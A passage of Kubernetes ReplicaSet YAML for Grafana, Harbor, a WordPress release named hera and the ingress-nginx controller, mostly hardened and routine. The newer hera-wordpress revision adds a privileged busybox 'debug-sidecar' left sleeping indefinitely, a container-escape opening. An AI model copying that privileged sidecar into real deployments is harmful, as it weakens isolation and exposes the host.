      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
      pod-template-hash: 65fc6dbcff
    name: grafana-65fc6dbcff
    namespace: grafana
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: grafana
      uid: b3a11c2b-69be-42cc-81f8-bcb3f3d38564
    resourceVersion: "18046405"
    uid: d97298ec-0d0e-424d-854b-ad68717ead07
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: grafana
        app.kubernetes.io/name: grafana
        pod-template-hash: 65fc6dbcff
    template:
      metadata:
        annotations:
          checksum/config: 0e9cbd0ea8e24e32f7dfca5bab17a2ba05652642f0a09a4882833ae88e4cc4a3
          checksum/sc-dashboard-provider-config: e70bf6a851099d385178a76de9757bb0bef8299da6d8443602590e44f05fdf24
          checksum/secret: 46588b98701319774707b0dba6c2f0a941e26d9c257177c38a891975b071a12e
          kubectl.kubernetes.io/default-container: grafana
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: grafana
          app.kubernetes.io/name: grafana
          app.kubernetes.io/version: 12.1.1
          helm.sh/chart: grafana-10.0.0
          pod-template-hash: 65fc6dbcff
      spec:
        automountServiceAccountToken: true
        containers:
        - env:
          - name: POD_IP
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: status.podIP
          - name: GF_SECURITY_ADMIN_USER
            valueFrom:
              secretKeyRef:
                key: admin-user
                name: grafana
          - name: GF_SECURITY_ADMIN_PASSWORD
            valueFrom:
              secretKeyRef:
                key: admin-password
                name: grafana
          - name: GF_PATHS_DATA
            value: /var/lib/grafana/
          - name: GF_PATHS_LOGS
            value: /var/log/grafana
          - name: GF_PATHS_PLUGINS
            value: /var/lib/grafana/plugins
          - name: GF_PATHS_PROVISIONING
            value: /etc/grafana/provisioning
          image: docker.io/grafana/grafana:12.1.1
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 10
            httpGet:
              path: /api/health
              port: 3000
              scheme: HTTP
            initialDelaySeconds: 60
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 30
          name: grafana
          ports:
          - containerPort: 3000
            name: grafana
            protocol: TCP
          - containerPort: 9094
            name: gossip-tcp
            protocol: TCP
          - containerPort: 9094
            name: gossip-udp
            protocol: UDP
          - containerPort: 6060
            name: profiling
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/health
              port: 3000
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/grafana/grafana.ini
            name: config
            subPath: grafana.ini
          - mountPath: /var/lib/grafana
            name: storage
        dnsPolicy: ClusterFirst
        enableServiceLinks: true
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 472
          runAsGroup: 472
          runAsNonRoot: true
          runAsUser: 472
        serviceAccount: grafana
        serviceAccountName: grafana
        shareProcessNamespace: false
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 420
            name: grafana
          name: config
        - emptyDir: {}
          name: storage
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:00Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: core
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: core
      heritage: Helm
      pod-template-hash: 84f58f6d9d
      release: harbor
    name: harbor-core-84f58f6d9d
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: harbor-core
      uid: b34246ee-9811-418e-90e7-05de6204e174
    resourceVersion: "18046568"
    uid: 89b46ee1-4f2c-4906-8519-6e4aeb2f77ec
  spec:
    replicas: 1
    selector:
      matchLabels:
        app: harbor
        component: core
        pod-template-hash: 84f58f6d9d
        release: harbor
    template:
      metadata:
        annotations:
          checksum/configmap: bb23f480170198be0acb51930ce019245662ef382b8606908d33590f0490f1d0
          checksum/secret: 0c963f83668fe10a38ea69177a441350598e6efcc1466a97826b23cc7c5bbf93
          checksum/secret-jobservice: 53951fc63f7698cafab0520b4f3cea1f1f6a131fe8daf84cb6656f94ccf0fe82
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: core
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: core
          heritage: Helm
          pod-template-hash: 84f58f6d9d
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - env:
          - name: CORE_SECRET
            valueFrom:
              secretKeyRef:
                key: secret
                name: harbor-core
          - name: JOBSERVICE_SECRET
            valueFrom:
              secretKeyRef:
                key: JOBSERVICE_SECRET
                name: harbor-jobservice
          envFrom:
          - configMapRef:
              name: harbor-core
          - secretRef:
              name: harbor-core
          image: goharbor/harbor-core:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 2
            httpGet:
              path: /api/v2.0/ping
              port: 8080
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: core
          ports:
          - containerPort: 8080
            protocol: TCP
          readinessProbe:
            failureThreshold: 2
            httpGet:
              path: /api/v2.0/ping
              port: 8080
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          startupProbe:
            failureThreshold: 360
            httpGet:
              path: /api/v2.0/ping
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/core/app.conf
            name: config
            subPath: app.conf
          - mountPath: /etc/core/key
            name: secret-key
            subPath: key
          - mountPath: /etc/core/private_key.pem
            name: token-service-private-key
            subPath: tls.key
          - mountPath: /etc/core/ca
            name: ca-download
          - mountPath: /etc/core/token
            name: psc
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 10000
          runAsUser: 10000
        terminationGracePeriodSeconds: 120
        volumes:
        - configMap:
            defaultMode: 420
            items:
            - key: app.conf
              path: app.conf
            name: harbor-core
          name: config
        - name: secret-key
          secret:
            defaultMode: 420
            items:
            - key: secretKey
              path: key
            secretName: harbor-core
        - name: token-service-private-key
          secret:
            defaultMode: 420
            secretName: harbor-core
        - name: ca-download
          secret:
            defaultMode: 420
            secretName: harbor-ingress
        - emptyDir: {}
          name: psc
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:00Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: jobservice
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: jobservice
      heritage: Helm
      pod-template-hash: 7d76588fb9
      release: harbor
    name: harbor-jobservice-7d76588fb9
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: harbor-jobservice
      uid: ffe488c0-748d-40d5-a651-9870372d36a8
    resourceVersion: "18046945"
    uid: 33157b26-4b39-4e26-a57f-b271d6f1d21e
  spec:
    replicas: 1
    selector:
      matchLabels:
        app: harbor
        component: jobservice
        pod-template-hash: 7d76588fb9
        release: harbor
    template:
      metadata:
        annotations:
          checksum/configmap: c885bae46a4d1be465933d8c2db43c049e107bcebf3317968f1f024b44c8d94c
          checksum/configmap-env: 4e6757f431dc6489d6f2ced7d9742bc9e992e6c77541ca632f177418f680609c
          checksum/secret: 4d811a0e5a19e9feb89769205df38266094ddfd39e8cb863b4fc4eba1053c0de
          checksum/secret-core: ebd507b7c081c3357177749e94a8202c85c95f4968ebdafbf690bf2ab6009950
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: jobservice
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: jobservice
          heritage: Helm
          pod-template-hash: 7d76588fb9
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - env:
          - name: CORE_SECRET
            valueFrom:
              secretKeyRef:
                key: secret
                name: harbor-core
          envFrom:
          - configMapRef:
              name: harbor-jobservice-env
          - secretRef:
              name: harbor-jobservice
          image: goharbor/harbor-jobservice:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/v1/stats
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: jobservice
          ports:
          - containerPort: 8080
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/v1/stats
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 20
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/jobservice/config.yml
            name: jobservice-config
            subPath: config.yml
          - mountPath: /var/log/jobs
            name: job-logs
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 10000
          runAsUser: 10000
        terminationGracePeriodSeconds: 120
        volumes:
        - configMap:
            defaultMode: 420
            name: harbor-jobservice
          name: jobservice-config
        - name: job-logs
          persistentVolumeClaim:
            claimName: harbor-jobservice
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:00Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: portal
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: portal
      heritage: Helm
      pod-template-hash: 864c6cd7
      release: harbor
    name: harbor-portal-864c6cd7
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: harbor-portal
      uid: 9972f56b-81bb-47a5-b806-57fc9e1e361c
    resourceVersion: "18034020"
    uid: 23a473dd-2f71-47fc-b474-3ae1bc802428
  spec:
    replicas: 1
    selector:
      matchLabels:
        app: harbor
        component: portal
        pod-template-hash: 864c6cd7
        release: harbor
    template:
      metadata:
        annotations:
          checksum/configmap: 587f1b484c07807cc9dd237230d25e1c167d2002a5fdbcd500a34b00bbfe4b3c
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: portal
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: portal
          heritage: Helm
          pod-template-hash: 864c6cd7
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - image: goharbor/harbor-portal:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: portal
          ports:
          - containerPort: 8080
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 1
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/nginx/nginx.conf
            name: portal-config
            subPath: nginx.conf
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 10000
          runAsUser: 10000
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 420
            name: harbor-portal
          name: portal-config
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:01Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: registry
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: registry
      heritage: Helm
      pod-template-hash: 6f6b79b866
      release: harbor
    name: harbor-registry-6f6b79b866
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: harbor-registry
      uid: e26a9cee-d503-40ae-994f-735b9ac16707
    resourceVersion: "18033734"
    uid: 78bf2f2d-2d38-4939-8afe-d9da4aee76b5
  spec:
    replicas: 1
    selector:
      matchLabels:
        app: harbor
        component: registry
        pod-template-hash: 6f6b79b866
        release: harbor
    template:
      metadata:
        annotations:
          checksum/configmap: d65e7080663682fbceda81a5a2c0b2e79e15426dcf2f0463d1747404c45f346d
          checksum/secret: 2982fb18b6fb33f7927efd20a0c72b70b59610b864c9af5946373bfbc98e4c5b
          checksum/secret-core: 5aa825c524e2f085ae08ccef05703612b17847d134c9d07b224d2b917ff73eac
          checksum/secret-jobservice: 0aa7f26404eeb8ac85c67e563873e89b550a6ddd79a7cd5c69db0d0546ec1aa1
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: registry
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: registry
          heritage: Helm
          pod-template-hash: 6f6b79b866
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - envFrom:
          - secretRef:
              name: harbor-registry
          image: goharbor/registry-photon:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 5000
              scheme: HTTP
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: registry
          ports:
          - containerPort: 5000
            protocol: TCP
          - containerPort: 5001
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 5000
              scheme: HTTP
            initialDelaySeconds: 1
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /storage
            name: registry-data
          - mountPath: /etc/registry/passwd
            name: registry-htpasswd
            subPath: passwd
          - mountPath: /etc/registry/config.yml
            name: registry-config
            subPath: config.yml
        - env:
          - name: CORE_SECRET
            valueFrom:
              secretKeyRef:
                key: secret
                name: harbor-core
          - name: JOBSERVICE_SECRET
            valueFrom:
              secretKeyRef:
                key: JOBSERVICE_SECRET
                name: harbor-jobservice
          envFrom:
          - configMapRef:
              name: harbor-registryctl
          - secretRef:
              name: harbor-registry
          - secretRef:
              name: harbor-registryctl
          image: goharbor/harbor-registryctl:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/health
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: registryctl
          ports:
          - containerPort: 8080
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/health
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 1
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /storage
            name: registry-data
          - mountPath: /etc/registry/config.yml
            name: registry-config
            subPath: config.yml
          - mountPath: /etc/registryctl/config.yml
            name: registry-config
            subPath: ctl-config.yml
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 10000
          fsGroupChangePolicy: OnRootMismatch
          runAsUser: 10000
        terminationGracePeriodSeconds: 120
        volumes:
        - name: registry-htpasswd
          secret:
            defaultMode: 420
            items:
            - key: REGISTRY_HTPASSWD
              path: passwd
            secretName: harbor-registry-htpasswd
        - configMap:
            defaultMode: 420
            name: harbor-registry
          name: registry-config
        - name: registry-data
          persistentVolumeClaim:
            claimName: harbor-registry
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "2"
      meta.helm.sh/release-name: hera
      meta.helm.sh/release-namespace: hera
    creationTimestamp: "2025-10-22T16:51:25Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/name: wordpress
      pod-template-hash: 7f576688d9
    name: hera-wordpress-7f576688d9
    namespace: hera
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: hera-wordpress
      uid: 29463cd1-0c06-4a69-8ab2-c215c1732459
    resourceVersion: "18034167"
    uid: ee17b5c2-f66c-466d-8cc4-0f6ee1c5945d
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: hera
        app.kubernetes.io/name: wordpress
        pod-template-hash: 7f576688d9
    template:
      metadata:
        annotations:
          checksum/extendedconfig: cea6f23b4882ae1b2ad0b050b4d464be10f90f96a54d6bc88e10523856f5306d
          checksum/secureconfig: 674317f00be04df9b4edeb05391a2ae7f7deffd1b3369adfdaa548a874a58006
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: hera
          app.kubernetes.io/name: wordpress
          pod-template-hash: 7f576688d9
      spec:
        containers:
        - envFrom:
          - secretRef:
              name: hera-wordpress
          image: docker.io/wordpress:6.8.3-apache
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-admin/install.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: wordpress
          ports:
          - containerPort: 8000
            name: http
            protocol: TCP
          readinessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            privileged: false
            readOnlyRootFilesystem: true
          startupProbe:
            failureThreshold: 30
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/www/html
            name: wordpress-vol
          - mountPath: /tmp
            name: tmp
          - mountPath: /var/run
            name: run
          - mountPath: /etc/apache2/ports.conf
            name: extended
            subPath: ports.conf
          - mountPath: /etc/apache2/000-default.conf
            name: extended
            subPath: 000-default.conf
          - mountPath: /usr/local/etc/php/conf.d/custom.ini
            name: extended
            subPath: custom.ini
        - command:
          - sh
          - -c
          - sleep infinity
          image: busybox:1.36
          imagePullPolicy: IfNotPresent
          name: debug-sidecar
          resources: {}
          securityContext:
            privileged: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 33
          runAsNonRoot: true
          runAsUser: 33
        serviceAccount: default
        serviceAccountName: default
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp
        - emptyDir: {}
          name: run
        - configMap:
            defaultMode: 420
            name: hera-wordpress-extended
          name: extended
        - emptyDir: {}
          name: wordpress-vol
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: hera
      meta.helm.sh/release-namespace: hera
    creationTimestamp: "2025-10-19T12:11:19Z"
    generation: 2
    labels:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/name: wordpress
      pod-template-hash: 957f47f6b
    name: hera-wordpress-957f47f6b
    namespace: hera
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: hera-wordpress
      uid: 29463cd1-0c06-4a69-8ab2-c215c1732459
    resourceVersion: "7665965"
    uid: 91af98b1-0415-41c8-a43f-1a825dc8550a
  spec:
    replicas: 0
    selector:
      matchLabels:
        app.kubernetes.io/instance: hera
        app.kubernetes.io/name: wordpress
        pod-template-hash: 957f47f6b
    template:
      metadata:
        annotations:
          checksum/extendedconfig: cea6f23b4882ae1b2ad0b050b4d464be10f90f96a54d6bc88e10523856f5306d
          checksum/secureconfig: 674317f00be04df9b4edeb05391a2ae7f7deffd1b3369adfdaa548a874a58006
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: hera
          app.kubernetes.io/name: wordpress
          pod-template-hash: 957f47f6b
      spec:
        containers:
        - envFrom:
          - secretRef:
              name: hera-wordpress
          image: docker.io/wordpress:6.8.3-apache
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-admin/install.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: wordpress
          ports:
          - containerPort: 8000
            name: http
            protocol: TCP
          readinessProbe:
            failureThreshold: 5
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            privileged: false
            readOnlyRootFilesystem: true
          startupProbe:
            failureThreshold: 30
            httpGet:
              httpHeaders:
              - name: Host
                value: localhost:8000
              - name: x-forwarded-proto
                value: https
              path: /wp-login.php
              port: http
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/www/html
            name: wordpress-vol
          - mountPath: /tmp
            name: tmp
          - mountPath: /var/run
            name: run
          - mountPath: /etc/apache2/ports.conf
            name: extended
            subPath: ports.conf
          - mountPath: /etc/apache2/000-default.conf
            name: extended
            subPath: 000-default.conf
          - mountPath: /usr/local/etc/php/conf.d/custom.ini
            name: extended
            subPath: custom.ini
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 33
          runAsNonRoot: true
          runAsUser: 33
        serviceAccount: default
        serviceAccountName: default
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp
        - emptyDir: {}
          name: run
        - configMap:
            defaultMode: 420
            name: hera-wordpress-extended
          name: extended
        - emptyDir: {}
          name: wordpress-vol
  status:
    observedGeneration: 2
    replicas: 0
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    generation: 1
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
      pod-template-hash: 6b96cf684f
    name: ingress-nginx-controller-6b96cf684f
    namespace: ingress-nginx
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: ingress-nginx-controller
      uid: d8d1f251-c7d5-4a0f-b428-b3281b55bf66
    resourceVersion: "18033901"
    uid: b75ad284-b674-4634-94ec-c866f83c28c4
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: controller
        app.kubernetes.io/instance: ingress-nginx
        app.kubernetes.io/name: ingress-nginx
        pod-template-hash: 6b96cf684f
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: controller
          app.kubernetes.io/instance: ingress-nginx
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: ingress-nginx
          app.kubernetes.io/part-of: ingress-nginx
          app.kubernetes.io/version: 1.13.2
          helm.sh/chart: ingress-nginx-4.13.2
          pod-template-hash: 6b96cf684f
      spec:
        automountServiceAccountToken: true
        containers:
        - args:
          - /nginx-ingress-controller
          - --publish-service=$(POD_NAMESPACE)/ingress-nginx-controller
          - --election-id=ingress-nginx-leader
          - --controller-class=k8s.io/ingress-nginx
          - --ingress-class=nginx
          - --configmap=$(POD_NAMESPACE)/ingress-nginx-controller
          - --validating-webhook=:8443
          - --validating-webhook-certificate=/usr/local/certificates/cert
          - --validating-webhook-key=/usr/local/certificates/key
          env:
          - name: POD_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.name
          - name: POD_NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          - name: LD_PRELOAD
            value: /usr/local/lib/libmimalloc.so
          image: registry.k8s.io/ingress-nginx/controller:v1.13.2@sha256:1f7eaeb01933e719c8a9f4acd8181e555e582330c7d50f24484fb64d2ba9b2ef
          imagePullPolicy: IfNotPresent
          lifecycle:
            preStop:
              exec:
                command:
                - /wait-shutdown
          livenessProbe:
            failureThreshold: 5
            httpGet:
              path: /healthz
              port: 10254
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: controller
          ports:
          - containerPort: 80
            name: http
            protocol: TCP
          - containerPort: 443
            name: https
            protocol: TCP
          - containerPort: 8443
            name: webhook
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: 10254
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources:
            requests:
              cpu: 100m
              memory: 90Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
